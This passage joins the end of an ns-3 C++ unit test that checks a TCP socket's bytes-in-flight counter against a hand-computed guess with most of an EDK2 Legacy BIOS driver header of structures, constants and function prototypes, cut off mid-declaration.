if ((h.GetFlags () & TcpHeader::FIN) != 0
|| m_guessedBytesInFlight + 1 == diff)
{ // received the ACK for the FIN (which includes 1 spurious byte)
diff -= 1;
}
m_guessedBytesInFlight -= diff;
m_lastAckRecv = h.GetAckNumber ();
NS_LOG_DEBUG ("Update m_guessedBytesInFlight to " <<
m_guessedBytesInFlight);
}
else if (h.GetAckNumber () == m_lastAckRecv
&& m_lastAckRecv != SequenceNumber32 (1)
&& (h.GetFlags () & TcpHeader::FIN) == 0)
{
// For each dupack I should guess that a segment has been received
// Please do not count FIN and SYN/ACK as dupacks
m_guessedBytesInFlight -= GetSegSize (SENDER);
m_dupAckRecv++;
// RFC 6675 says after two dupacks, the segment is considered lost
if (m_dupAckRecv == 3)
{
NS_LOG_DEBUG ("Loss of a segment detected");
m_guessedBytesInFlight -= GetSegSize (SENDER);
}
NS_LOG_DEBUG ("Dupack received, Update m_guessedBytesInFlight to " <<
m_guessedBytesInFlight);
}
}
}
void
TcpBytesInFlightTest::Tx (const Ptr<const Packet> p, const TcpHeader &h, SocketWho who)
{
if (who == SENDER)
{
static SequenceNumber32 retr = SequenceNumber32 (0);
static uint32_t times = 0;
if (m_greatestSeqSent <= h.GetSequenceNumber ())
{ // This is not a retransmission
m_greatestSeqSent = h.GetSequenceNumber ();
times = 0;
}
if (retr == h.GetSequenceNumber ())
{
++times;
}
if (times < 2)
{
// count retransmission only one time
m_guessedBytesInFlight += p->GetSize ();
}
retr = h.GetSequenceNumber ();
NS_LOG_DEBUG ("TX size=" << p->GetSize () << " seq=" << h.GetSequenceNumber () <<
" m_guessedBytesInFlight=" << m_guessedBytesInFlight);
}
}
void
TcpBytesInFlightTest::BytesInFlightTrace (uint32_t oldValue, uint32_t newValue)
{
NS_LOG_DEBUG ("Socket BytesInFlight=" << newValue <<
" mine is=" << m_guessedBytesInFlight);
NS_TEST_ASSERT_MSG_EQ (m_guessedBytesInFlight, newValue,
"At time " << Simulator::Now ().GetSeconds () << "; guessed and measured bytes in flight differs");
}
void
TcpBytesInFlightTest::FinalChecks ()
{
NS_TEST_ASSERT_MSG_EQ (m_guessedBytesInFlight, 0,
"Still present bytes in flight at the end of the transmission");
}
/**
* \ingroup internet-test
* \ingroup tests
*
* \brief TestSuite: Check the value of BytesInFlight against a home-made guess
*/
class TcpBytesInFlightTestSuite : public TestSuite
{
public:
TcpBytesInFlightTestSuite () : TestSuite ("tcp-bytes-in-flight-test", UNIT)
{
std::vector<uint32_t> toDrop;
AddTestCase (new TcpBytesInFlightTest ("BytesInFlight value, no drop", toDrop),
TestCase::QUICK);
toDrop.push_back (4001);
AddTestCase (new TcpBytesInFlightTest ("BytesInFlight value, one drop", toDrop),
TestCase::QUICK);
toDrop.push_back (4001);
AddTestCase (new TcpBytesInFlightTest ("BytesInFlight value, two drop of same segment", toDrop),
TestCase::QUICK);
toDrop.pop_back ();
toDrop.push_back (4501);
AddTestCase (new TcpBytesInFlightTest ("BytesInFlight value, two drop of consecutive segments", toDrop),
TestCase::QUICK);
}
};
static TcpBytesInFlightTestSuite g_tcpBytesInFlightTestSuite; //!< Static variable for test initialization
|
{
"pile_set_name": "Github"
}
|
/** @file
Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>
SPDX-License-Identifier: BSD-2-Clause-Patent
**/
#ifndef _LEGACY_BIOS_INTERFACE_
#define _LEGACY_BIOS_INTERFACE_
#include <FrameworkDxe.h>
#include <IndustryStandard/Pci.h>
#include <IndustryStandard/SmBios.h>
#include <IndustryStandard/Acpi10.h>
#include <Guid/SmBios.h>
#include <Guid/Acpi.h>
#include <Guid/DxeServices.h>
#include <Guid/LegacyBios.h>
#include <Guid/StatusCodeDataTypeId.h>
#include <Guid/ImageAuthentication.h>
#include <Protocol/BlockIo.h>
#include <Protocol/LoadedImage.h>
#include <Protocol/PciIo.h>
#include <Protocol/Cpu.h>
#include <Protocol/Timer.h>
#include <Protocol/IsaIo.h>
#include <Protocol/LegacyRegion2.h>
#include <Protocol/SimpleTextIn.h>
#include <Protocol/LegacyInterrupt.h>
#include <Protocol/LegacyBios.h>
#include <Protocol/DiskInfo.h>
#include <Protocol/GenericMemoryTest.h>
#include <Protocol/LegacyBiosPlatform.h>
#include <Protocol/DevicePath.h>
#include <Protocol/Legacy8259.h>
#include <Protocol/PciRootBridgeIo.h>
#include <Protocol/SerialIo.h>
#include <Protocol/SuperIo.h>
#include <Protocol/IoMmu.h>
#include <Library/BaseLib.h>
#include <Library/DebugLib.h>
#include <Library/UefiLib.h>
#include <Library/BaseMemoryLib.h>
#include <Library/ReportStatusCodeLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/HobLib.h>
#include <Library/UefiDriverEntryPoint.h>
#include <Library/MemoryAllocationLib.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/IoLib.h>
#include <Library/PcdLib.h>
#include <Library/DevicePathLib.h>
#include <Library/DxeServicesTableLib.h>
#include <Library/DebugAgentLib.h>
//
// BUGBUG: This entry maybe changed to PCD in future and wait for
// redesign of BDS library
//
#define MAX_BBS_ENTRIES 0x100
//
// Thunk Status Codes
// (These apply only to errors with the thunk and not to the code that was
// thunked to.)
//
#define THUNK_OK 0x00
#define THUNK_ERR_A20_UNSUP 0x01
#define THUNK_ERR_A20_FAILED 0x02
//
// Vector base definitions
//
//
// 8259 Hardware definitions
//
#define LEGACY_MODE_BASE_VECTOR_MASTER 0x08
#define LEGACY_MODE_BASE_VECTOR_SLAVE 0x70
//
// The original PC used INT8-F for master PIC. Since these mapped over
// processor exceptions TIANO moved the master PIC to INT68-6F.
//
// The vector base for slave PIC is set as 0x70 for PC-AT compatibility.
//
#define PROTECTED_MODE_BASE_VECTOR_MASTER 0x68
#define PROTECTED_MODE_BASE_VECTOR_SLAVE 0x70
//
// When we call CSM16 functions, some CSM16 use es:[offset + 0xabcd] to get data passed from CSM32,
// offset + 0xabcd could overflow which exceeds 0xFFFF which is invalid in real mode.
// So this will keep offset as small as possible to avoid offset overflow in real mode.
//
#define NORMALIZE_EFI_SEGMENT(_Adr) (UINT16) (((UINTN) (_Adr)) >> 4)
#define NORMALIZE_EFI_OFFSET(_Adr) (UINT16) (((UINT16) ((UINTN) (_Adr))) & 0xf)
//
// Trace defines
//
//
#define LEGACY_BDA_TRACE 0x000
#define LEGACY_BIOS_TRACE 0x040
#define LEGACY_BOOT_TRACE 0x080
#define LEGACY_CMOS_TRACE 0x0C0
#define LEGACY_IDE_TRACE 0x100
#define LEGACY_MP_TRACE 0x140
#define LEGACY_PCI_TRACE 0x180
#define LEGACY_SIO_TRACE 0x1C0
#define LEGACY_PCI_TRACE_000 LEGACY_PCI_TRACE + 0x00
#define LEGACY_PCI_TRACE_001 LEGACY_PCI_TRACE + 0x01
#define LEGACY_PCI_TRACE_002 LEGACY_PCI_TRACE + 0x02
#define LEGACY_PCI_TRACE_003 LEGACY_PCI_TRACE + 0x03
#define LEGACY_PCI_TRACE_004 LEGACY_PCI_TRACE + 0x04
#define LEGACY_PCI_TRACE_005 LEGACY_PCI_TRACE + 0x05
#define LEGACY_PCI_TRACE_006 LEGACY_PCI_TRACE + 0x06
#define LEGACY_PCI_TRACE_007 LEGACY_PCI_TRACE + 0x07
#define LEGACY_PCI_TRACE_008 LEGACY_PCI_TRACE + 0x08
#define LEGACY_PCI_TRACE_009 LEGACY_PCI_TRACE + 0x09
#define LEGACY_PCI_TRACE_00A LEGACY_PCI_TRACE + 0x0A
#define LEGACY_PCI_TRACE_00B LEGACY_PCI_TRACE + 0x0B
#define LEGACY_PCI_TRACE_00C LEGACY_PCI_TRACE + 0x0C
#define LEGACY_PCI_TRACE_00D LEGACY_PCI_TRACE + 0x0D
#define LEGACY_PCI_TRACE_00E LEGACY_PCI_TRACE + 0x0E
#define LEGACY_PCI_TRACE_00F LEGACY_PCI_TRACE + 0x0F
#define BDA_VIDEO_MODE 0x49
#define IDE_PI_REGISTER_PNE BIT0
#define IDE_PI_REGISTER_SNE BIT2
typedef struct {
UINTN PciSegment;
UINTN PciBus;
UINTN PciDevice;
UINTN PciFunction;
UINT32 ShadowAddress;
UINT32 ShadowedSize;
UINT8 DiskStart;
UINT8 DiskEnd;
} ROM_INSTANCE_ENTRY;
//
// Values for RealModeGdt
//
#if defined (MDE_CPU_IA32)
#define NUM_REAL_GDT_ENTRIES 3
#define CONVENTIONAL_MEMORY_TOP 0xA0000 // 640 KB
#define INITIAL_VALUE_BELOW_1K 0x0
#elif defined (MDE_CPU_X64)
#define NUM_REAL_GDT_ENTRIES 8
#define CONVENTIONAL_MEMORY_TOP 0xA0000 // 640 KB
#define INITIAL_VALUE_BELOW_1K 0x0
#endif
#pragma pack(1)
//
// Define what a processor GDT looks like
//
typedef struct {
UINT32 LimitLo : 16;
UINT32 BaseLo : 16;
UINT32 BaseMid : 8;
UINT32 Type : 4;
UINT32 System : 1;
UINT32 Dpl : 2;
UINT32 Present : 1;
UINT32 LimitHi : 4;
UINT32 Software : 1;
UINT32 Reserved : 1;
UINT32 DefaultSize : 1;
UINT32 Granularity : 1;
UINT32 BaseHi : 8;
} GDT32;
typedef struct {
UINT16 LimitLow;
UINT16 BaseLow;
UINT8 BaseMid;
UINT8 Attribute;
UINT8 LimitHi;
UINT8 BaseHi;
} GDT64;
//
// Define what a processor descriptor looks like
// This data structure must be kept in sync with ASM STRUCT in Thunk.inc
//
typedef struct {
UINT16 Limit;
UINT64 Base;
} DESCRIPTOR64;
typedef struct {
UINT16 Limit;
UINT32 Base;
} DESCRIPTOR32;
//
// Low stub lay out
//
#define LOW_STACK_SIZE (8 * 1024) // 8k?
#define EFI_MAX_E820_ENTRY 100
#define FIRST_INSTANCE 1
#define NOT_FIRST_INSTANCE 0
#if defined (MDE_CPU_IA32)
typedef struct {
//
// Space for the code
// The address of Code is also the beginning of the relocated Thunk code
//
CHAR8 Code[4096]; // ?
//
// The address of the Reverse Thunk code
// Note that this member CONTAINS the address of the relocated reverse thunk
// code unlike the member variable 'Code', which IS the address of the Thunk
// code.
//
UINT32 LowReverseThunkStart;
//
// Data for the code (cs releative)
//
DESCRIPTOR32 GdtDesc; // Protected mode GDT
DESCRIPTOR32 IdtDesc; // Protected mode IDT
UINT32 FlatSs;
UINT32 FlatEsp;
UINT32 LowCodeSelector; // Low code selector in GDT
UINT32 LowDataSelector; // Low data selector in GDT
UINT32 LowStack;
DESCRIPTOR32 RealModeIdtDesc;
//
// real-mode GDT (temporary GDT with two real mode segment descriptors)
//
GDT32 RealModeGdt[NUM_REAL_GDT_ENTRIES];
DESCRIPTOR32 RealModeGdtDesc;
//
// Members specifically for the reverse thunk
// The RevReal* members are used to store the current state of real mode
// before performing the reverse thunk. The RevFlat* members must be set
// before calling the reverse thunk assembly code.
//
UINT16 RevRealDs;
UINT16 RevRealSs;
UINT32 RevRealEsp;
DESCRIPTOR32 RevRealIdtDesc;
UINT16 RevFlatDataSelector; // Flat data selector in GDT
UINT32 RevFlatStack;
//
// A low memory stack
//
CHAR8 Stack[LOW_STACK_SIZE];
//
// Stack for flat mode after reverse thunk
// @bug - This may no longer be necessary if the reverse thunk interface
// is changed to have the flat stack in a different location.
//
CHAR8 RevThunkStack[LOW_STACK_SIZE];
//
// Legacy16 Init memory map info
//
EFI_TO_COMPATIBILITY16_INIT_TABLE EfiToLegacy16InitTable;
EFI_TO_COMPATIBILITY16_BOOT_TABLE EfiToLegacy16BootTable;
CHAR8 InterruptRedirectionCode[32];
EFI_LEGACY_INSTALL_PCI_HANDLER PciHandler;
EFI_DISPATCH_OPROM_TABLE DispatchOpromTable;
BBS_TABLE BbsTable[MAX_BBS_ENTRIES];
} LOW_MEMORY_THUNK;
#elif defined (MDE_CPU_X64)
typedef struct {
//
// Space for the code
// The address of Code is also the beginning of the relocated Thunk code
//
CHAR8 Code[4096]; // ?
//
// Data for the code (cs releative)
//
DESCRIPTOR64 X64GdtDesc; // Protected mode GDT
DESCRIPTOR64 X64IdtDesc; // Protected mode IDT
UINTN X64Ss;
UINTN X64Esp;
UINTN RealStack;
DESCRIPTOR32 RealModeIdtDesc;
DESCRIPTOR32 RealModeGdtDesc;
//
// real-mode GDT (temporary GDT with two real mode segment descriptors)
//
GDT64 RealModeGdt[NUM_REAL_GDT_ENTRIES];
UINT64 PageMapLevel4;
//
// A low memory stack
//
CHAR8 Stack[LOW_STACK_SIZE];
//
// Legacy16 Init memory map info
//
EFI_TO_COMPATIBILITY16_INIT_TABLE EfiToLegacy16InitTable;
EFI_TO_COMPATIBILITY16_BOOT_TABLE EfiToLegacy16BootTable;
CHAR8 InterruptRedirectionCode[32];
EFI_LEGACY_INSTALL_PCI_HANDLER PciHandler;
EFI_DISPATCH_OPROM_TABLE DispatchOpromTable;
BBS_TABLE BbsTable[MAX_BBS_ENTRIES];
} LOW_MEMORY_THUNK;
#endif
//
// PnP Expansion Header
//
typedef struct {
UINT32 PnpSignature;
UINT8 Revision;
UINT8 Length;
UINT16 NextHeader;
UINT8 Reserved1;
UINT8 Checksum;
UINT32 DeviceId;
UINT16 MfgPointer;
UINT16 ProductNamePointer;
UINT8 Class;
UINT8 SubClass;
UINT8 Interface;
UINT8 DeviceIndicators;
UINT16 Bcv;
UINT16 DisconnectVector;
UINT16 Bev;
UINT16 Reserved2;
UINT16 StaticResourceVector;
} LEGACY_PNP_EXPANSION_HEADER;
typedef struct {
UINT8 PciSegment;
UINT8 PciBus;
UINT8 PciDevice;
UINT8 PciFunction;
UINT16 Vid;
UINT16 Did;
UINT16 SysSid;
UINT16 SVid;
UINT8 Class;
UINT8 SubClass;
UINT8 Interface;
UINT8 Reserved;
UINTN RomStart;
UINTN ManufacturerString;
UINTN ProductNameString;
} LEGACY_ROM_AND_BBS_TABLE;
//
// Structure how EFI has mapped a devices HDD drive numbers.
// Boot to EFI aware OS or shell requires this mapping when
// 16-bit CSM assigns drive numbers.
// This mapping is ignored booting to a legacy OS.
//
typedef struct {
UINT8 PciSegment;
UINT8 PciBus;
UINT8 PciDevice;
UINT8 PciFunction;
UINT8 StartDriveNumber;
UINT8 EndDriveNumber;
} LEGACY_EFI_HDD_TABLE;
//
// This data is passed to Leacy16Boot
//
typedef enum {
EfiAcpiAddressRangeMemory = 1,
EfiAcpiAddressRangeReserved = 2,
EfiAcpiAddressRangeACPI = 3,
EfiAcpiAddressRangeNVS = 4,
EfiAddressRangePersistentMemory = 7
} EFI_ACPI_MEMORY_TYPE;
typedef struct {
UINT64 BaseAddr;
UINT64 Length;
EFI_ACPI_MEMORY_TYPE Type;
} EFI_E820_ENTRY64;
typedef struct {
UINT32 BassAddrLow;
UINT32 BaseAddrHigh;
UINT32 LengthLow;
UINT32 LengthHigh;
EFI_ACPI_MEMORY_TYPE Type;
} EFI_E820_ENTRY;
#pragma pack()
extern BBS_TABLE *mBbsTable;
extern EFI_GENERIC_MEMORY_TEST_PROTOCOL *gGenMemoryTest;
extern BOOLEAN mEndOfDxe;
#define PORT_70 0x70
#define PORT_71 0x71
#define CMOS_0A 0x0a ///< Status register A
#define CMOS_0D 0x0d ///< Status register D
#define CMOS_0E 0x0e ///< Diagnostic Status
#define CMOS_0F 0x0f ///< Shutdown status
#define CMOS_10 0x10 ///< Floppy type
#define CMOS_12 0x12 ///< IDE type
#define CMOS_14 0x14 ///< Same as BDA 40:10
#define CMOS_15 0x15 ///< Low byte of base memory in 1k increments
#define CMOS_16 0x16 ///< High byte of base memory in 1k increments
#define CMOS_17 0x17 ///< Low byte of 1MB+ memory in 1k increments - max 15 MB
#define CMOS_18 0x18 ///< High byte of 1MB+ memory in 1k increments - max 15 MB
#define CMOS_19 0x19 ///< C: extended drive type
#define CMOS_1A 0x1a ///< D: extended drive type
#define CMOS_2E 0x2e ///< Most significient byte of standard checksum
#define CMOS_2F 0x2f ///< Least significient byte of standard checksum
#define CMOS_30 0x30 ///< CMOS 0x17
#define CMOS_31 0x31 ///< CMOS 0x18
#define CMOS_32 0x32 ///< Century byte
//
// 8254 Timer registers
//
#define TIMER0_COUNT_PORT 0x40
#define TIMER1_COUNT_PORT 0x41
#define TIMER2_COUNT_PORT 0x42
#define TIMER_CONTROL_PORT 0x43
//
// Timer 0, Read/Write LSB then MSB, Square wave output, binary count use.
//
#define TIMER0_CONTROL_WORD 0x36
#define LEGACY_BIOS_INSTANCE_SIGNATURE SIGNATURE_32 ('L', 'B', 'I', 'T')
typedef struct {
UINTN Signature;
EFI_HANDLE Handle;
EFI_LEGACY_BIOS_PROTOCOL LegacyBios;
EFI_HANDLE ImageHandle;
//
// CPU Architectural Protocol
//
EFI_CPU_ARCH_PROTOCOL *Cpu;
//
// Timer Architectural Protocol
//
EFI_TIMER_ARCH_PROTOCOL *Timer;
BOOLEAN TimerUses8254;
//
// Protocol to Lock and Unlock 0xc0000 - 0xfffff
//
EFI_LEGACY_REGION2_PROTOCOL *LegacyRegion;
EFI_LEGACY_BIOS_PLATFORM_PROTOCOL *LegacyBiosPlatform;
//
// Interrupt control for thunk and PCI IRQ
//
EFI_LEGACY_8259_PROTOCOL *Legacy8259;
//
// PCI Interrupt PIRQ control
//
EFI_LEGACY_INTERRUPT_PROTOCOL *LegacyInterrupt;
//
// Generic Memory Test
//
EFI_GENERIC_MEMORY_TEST_PROTOCOL *GenericMemoryTest;
//
// TRUE if PCI Interrupt Line registers have been programmed.
//
BOOLEAN PciInterruptLine;
//
// Code space below 1MB needed by thunker to transition to real mode.
// Contains stack and real mode code fragments
//
LOW_MEMORY_THUNK *IntThunk;
//
// Starting shadow address of the Legacy BIOS
//
UINT32 BiosStart;
UINT32 LegacyBiosImageSize;
//
// Start of variables used by CsmItp.mac ITP macro file and/os LegacyBios
//
UINT8 Dump[4];
//
// $EFI Legacy16 code entry info in memory < 1 MB;
//
EFI_COMPATIBILITY16_TABLE *Legacy16Table;
VOID *Legacy16InitPtr;
VOID *Legacy16BootPtr;
VOID *InternalIrqRoutingTable;
UINT32 NumberIrqRoutingEntries;
VOID *BbsTablePtr;
VOID *HddTablePtr;
UINT32 NumberHddControllers;
//
// Cached copy of Legacy16 entry point
//
UINT16 Legacy16CallSegment;
UINT16 Legacy16CallOffset;
//
// Returned from $EFI and passed in to OPROMS
//
UINT16 PnPInstallationCheckSegment;
UINT16 PnPInstallationCheckOffset;
//
// E820 table
//
EFI_E820_ENTRY E820Table[EFI_MAX_E820_ENTRY];
UINT32 NumberE820Entries;
//
// True if legacy VGA INT 10h handler installed
//
BOOLEAN VgaInstalled;
//
// Number of IDE drives
//
UINT8 IdeDriveCount;
//
// Current Free Option ROM space. An option ROM must NOT go past
// BiosStart.
//
UINT32 OptionRom;
//
// Save Legacy16 unexpected interrupt vector. Reprogram INT 68-6F from
// EFI values to legacy value just before boot.
//
UINT32 BiosUnexpectedInt;
UINT32 ThunkSavedInt[8];
UINT16 ThunkSeg;
LEGACY_EFI_HDD_TABLE *LegacyEfiHddTable;
UINT16 LegacyEfiHddTableIndex;
UINT8 DiskEnd;
UINT8 Disk4075;
UINT16 TraceIndex;
UINT16 Trace[0x200];
//
// Indicate that whether GenericLegacyBoot is entered or not
//
BOOLEAN LegacyBootEntered;
//
// CSM16 PCI Interface Version
//
UINT16 Csm16PciInterfaceVersion;
} LEGACY_BIOS_INSTANCE;
#pragma pack(1)
/*
40:00-01 Com1
40:02-03 Com2
40:04-05 Com3
40:06-07 Com4
40:08-09 Lpt1
40:0A-0B Lpt2
40:0C-0D Lpt3
40:0E-0E Ebda segment
40:10-11 MachineConfig
40:12 Bda12 - skip
40:13-14 MemSize below 1MB
40:15-16 Bda15_16 - skip
40:17 Keyboard Shift status
40:18-19 Bda18_19 - skip
40:1A-1B Key buffer head
40:1C-1D Key buffer tail
40:1E-3D Bda1E_3D- key buffer -skip
40:3E-3F FloppyData 3E = Calibration status 3F = Motor status
40:40 FloppyTimeout
40:41-74 Bda41_74 - skip
40:75 Number of HDD drives
40:76-77 Bda76_77 - skip
40:78-79 78 = Lpt1 timeout, 79 = Lpt2 timeout
40:7A-7B 7A = Lpt3 timeout, 7B = Lpt4 timeout
40:7C-7D 7C = Com1 timeout, 7D = Com2 timeout
40:7E-7F 7E = Com3 timeout, 7F = Com4 timeout
40:80-81 Pointer to start of key buffer
40:82-83 Pointer to end of key buffer
40:84-87 Bda84_87 - skip
40:88 HDD Data Xmit rate
40:89-8f skip
40:90 Floppy data rate
40:91-95 skip
40:96 Keyboard Status
40:97 LED Status
40:98-101 skip
*/
typedef struct {
UINT16 Com1;
UINT16 Com2;
UINT16 Com3;
UINT16 Com4;
UINT16 Lpt1;
UINT16 Lpt2;
UINT16 Lpt3;
UINT16 Ebda;
UINT16 MachineConfig;
UINT8 Bda12;
UINT16 MemSize;
UINT8 Bda15_16[0x02];
UINT8 ShiftStatus;
UINT8 Bda18_19[0x02];
UINT16 KeyHead;
UINT16 KeyTail;
UINT16 Bda1E_3D[0x10];
UINT16 FloppyData;
UINT8 FloppyTimeout;
UINT8 Bda41_74[0x34];
UINT8 NumberOfDrives;
UINT8 Bda76_77[0x02];
UINT16 Lpt1_2Timeout;
UINT16 Lpt3_4Timeout;
UINT16 Com1_2Timeout;
UINT16 Com3_4Timeout;
UINT16 KeyStart;
UINT16 KeyEnd;
UINT8 Bda84_87[0x4];
UINT8 DataXmit;
UINT8 Bda89_8F[0x07];
UINT8 FloppyXRate;
UINT8 Bda91_95[0x05];
UINT8 KeyboardStatus;
UINT8 LedStatus;
} BDA_STRUC;
#pragma pack()
#define LEGACY_BIOS_INSTANCE_FROM_THIS(this) CR (this, LEGACY_BIOS_INSTANCE, LegacyBios, LEGACY_BIOS_INSTANCE_SIGNATURE)
/**
Thunk to 16-bit real mode and execute a software interrupt with a vector
of BiosInt. Regs will contain the 16-bit register context on entry and
exit.
@param This Protocol instance pointer.
@param BiosInt Processor interrupt vector to invoke
@param Regs Register contexted passed into (and returned) from thunk to
16-bit mode
@retval FALSE Thunk completed, and there were no BIOS errors in the target code.
See Regs for status.
@retval TRUE There was a BIOS erro in the target code.
**/
BOOLEAN
EFIAPI
LegacyBiosInt86 (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
IN UINT8 BiosInt,
IN EFI_IA32_REGISTER_SET *Regs
);
/**
Thunk to 16-bit real mode and call Segment:Offset. Regs will contain the
16-bit register context on entry and exit. Arguments can be passed on
the Stack argument
@param This Protocol instance pointer.
@param Segment Segment of 16-bit mode call
@param Offset Offset of 16-bit mdoe call
@param Regs Register contexted passed into (and returned) from
thunk to 16-bit mode
@param Stack Caller allocated stack used to pass arguments
@param StackSize Size of Stack in bytes
@retval FALSE Thunk completed, and there were no BIOS errors in
the target code. See Regs for status.
@retval TRUE There was a BIOS erro in the target code.
**/
BOOLEAN
EFIAPI
LegacyBiosFarCall86 (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
IN UINT16 Segment,
IN UINT16 Offset,
IN EFI_IA32_REGISTER_SET *Regs,
IN VOID *Stack,
IN UINTN StackSize
);
/**
Test to see if a legacy PCI ROM exists for this device. Optionally return
the Legacy ROM instance for this PCI device.
@param This Protocol instance pointer.
@param PciHandle The PCI PC-AT OPROM from this devices ROM BAR will
be loaded
@param RomImage Return the legacy PCI ROM for this device
@param RomSize Size of ROM Image
@param Flags Indicates if ROM found and if PC-AT.
@retval EFI_SUCCESS Legacy Option ROM available for this device
@retval EFI_UNSUPPORTED Legacy Option ROM not supported.
**/
EFI_STATUS
EFIAPI
LegacyBiosCheckPciRom (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
IN EFI_HANDLE PciHandle,
OUT VOID **RomImage, OPTIONAL
OUT UINTN *RomSize, OPTIONAL
OUT UINTN *Flags
);
/**
Assign drive number to legacy HDD drives prior to booting an EFI
aware OS so the OS can access drives without an EFI driver.
Note: BBS compliant drives ARE NOT available until this call by
either shell or EFI.
@param This Protocol instance pointer.
@param BbsCount Number of BBS_TABLE structures
@param BbsTable List BBS entries
@retval EFI_SUCCESS Drive numbers assigned
**/
EFI_STATUS
EFIAPI
LegacyBiosPrepareToBootEfi (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
OUT UINT16 *BbsCount,
OUT BBS_TABLE **BbsTable
);
/**
To boot from an unconventional device like parties and/or execute
HDD diagnostics.
@param This Protocol instance pointer.
@param Attributes How to interpret the other input parameters
@param BbsEntry The 0-based index into the BbsTable for the parent
device.
@param BeerData Pointer to the 128 bytes of ram BEER data.
@param ServiceAreaData Pointer to the 64 bytes of raw Service Area data.
The caller must provide a pointer to the specific
Service Area and not the start all Service Areas.
EFI_INVALID_PARAMETER if error. Does NOT return if no error.
**/
EFI_STATUS
EFIAPI
LegacyBiosBootUnconventionalDevice (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
IN UDC_ATTRIBUTES Attributes,
IN UINTN BbsEntry,
IN VOID *BeerData,
IN VOID *ServiceAreaData
);
/**
Load a legacy PC-AT OPROM on the PciHandle device. Return information
about how many disks were added by the OPROM and the shadow address and
size. DiskStart & DiskEnd are INT 13h drive letters. Thus 0x80 is C:
@param This Protocol instance pointer.
@param PciHandle The PCI PC-AT OPROM from this devices ROM BAR will
be loaded. This value is NULL if RomImage is
non-NULL. This is the normal case.
@param RomImage A PCI PC-AT ROM image. This argument is non-NULL
if there is no hardware associated with the ROM
and thus no PciHandle, otherwise is must be NULL.
Example is PXE base code.
@param Flags Indicates if ROM found and if PC-AT.
@param DiskStart Disk number of first device hooked by the ROM. If
DiskStart is the same as DiskEnd no disked were
hooked.
@param DiskEnd Disk number of the last device hooked by the ROM.
@param RomShadowAddress Shadow address of PC-AT ROM
@param RomShadowedSize Size of RomShadowAddress in bytes
@retval EFI_SUCCESS Legacy ROM loaded for this device
@retval EFI_INVALID_PARAMETER PciHandle not found
@retval EFI_UNSUPPORTED There is no PCI ROM in the ROM BAR or no onboard
ROM
**/
EFI_STATUS
EFIAPI
LegacyBiosInstallPciRom (
IN EFI_LEGACY_BIOS_PROTOCOL * This,
IN EFI_HANDLE PciHandle,
IN VOID **RomImage,
OUT UINTN *Flags,
OUT UINT8 *DiskStart, OPTIONAL
OUT UINT8 *DiskEnd, OPTIONAL
OUT VOID **RomShadowAddress, OPTIONAL
OUT UINT32 *RomShadowedSize OPTIONAL
);
/**
Fill in the standard BDA for Keyboard LEDs
@param This Protocol instance pointer.
@param Leds Current LED status
@retval EFI_SUCCESS It should always work.
**/
EFI_STATUS
EFIAPI
LegacyBiosUpdateKeyboardLedStatus (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
IN UINT8 Leds
);
/**
Get all BBS info
@param This Protocol instance pointer.
@param HddCount Number of HDD_INFO structures
@param HddInfo Onboard IDE controller information
@param BbsCount Number of BBS_TABLE structures
@param BbsTable List BBS entries
@retval EFI_SUCCESS Tables returned
@retval EFI_NOT_FOUND resource not found
@retval EFI_DEVICE_ERROR can not get BBS table
**/
EFI_STATUS
EFIAPI
LegacyBiosGetBbsInfo (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
OUT UINT16 *HddCount,
OUT HDD_INFO **HddInfo,
OUT UINT16 *BbsCount,
OUT BBS_TABLE **BbsTable
);
/**
Shadow all legacy16 OPROMs that haven't been shadowed.
Warning: Use this with caution. This routine disconnects all EFI
drivers. If used externally then caller must re-connect EFI
drivers.
@param This Protocol instance pointer.
@retval EFI_SUCCESS OPROMs shadowed
**/
EFI_STATUS
EFIAPI
LegacyBiosShadowAllLegacyOproms (
IN EFI_LEGACY_BIOS_PROTOCOL *This
);
/**
Attempt to legacy boot the BootOption. If the EFI contexted has been
compromised this function will not return.
@param This Protocol instance pointer.
@param BbsDevicePath EFI Device Path from BootXXXX variable.
@param LoadOptionsSize Size of LoadOption in size.
@param LoadOptions LoadOption from BootXXXX variable
@retval EFI_SUCCESS Removable media not present
**/
EFI_STATUS
EFIAPI
LegacyBiosLegacyBoot (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
IN BBS_BBS_DEVICE_PATH *BbsDevicePath,
IN UINT32 LoadOptionsSize,
IN VOID *LoadOptions
);
/**
Allocate memory < 1 MB and copy the thunker code into low memory. Se up
all the descriptors.
@param Private Private context for Legacy BIOS
@retval EFI_SUCCESS Should only pass.
**/
EFI_STATUS
LegacyBiosInitializeThunk (
IN LEGACY_BIOS_INSTANCE *Private
);
/**
Fill in the standard BDA and EBDA stuff before Legacy16 load
@param Private Legacy BIOS Instance data
@retval EFI_SUCCESS It should always work.
**/
EFI_STATUS
LegacyBiosInitBda (
IN LEGACY_BIOS_INSTANCE *Private
);
/**
Collect IDE Inquiry data from the IDE disks
@param Private Legacy BIOS Instance data
@param HddInfo Hdd Information
@param Flag Reconnect IdeController or not
@retval EFI_SUCCESS It should always work.
**/
EFI_STATUS
LegacyBiosBuildIdeData (
IN LEGACY_BIOS_INSTANCE *Private,
IN HDD_INFO **HddInfo,
IN UINT16 Flag
);
/**
Enable ide controller. This gets disabled when LegacyBoot.c is about
to run the Option ROMs.
@param Private Legacy BIOS Instance data
**/
VOID
EnableIdeController (
IN LEGACY_BIOS_INSTANCE *Private
);
/**
If the IDE channel is in compatibility (legacy) mode, remove all
PCI I/O BAR addresses from the controller.
@param IdeController The handle of target IDE controller
**/
VOID
InitLegacyIdeController (
IN EFI_HANDLE IdeController
);
/**
Program the interrupt routing register in all the PCI devices. On a PC AT system
this register contains the 8259 IRQ vector that matches its PCI interrupt.
@param Private Legacy BIOS Instance data
@retval EFI_SUCCESS Succeed.
@retval EFI_ALREADY_STARTED All PCI devices have been processed.
**/
EFI_STATUS
PciProgramAllInterruptLineRegisters (
IN LEGACY_BIOS_INSTANCE *Private
);
/**
Collect EFI Info about legacy devices.
@param Private Legacy BIOS Instance data
@retval EFI_SUCCESS It should always work.
**/
EFI_STATUS
LegacyBiosBuildSioData (
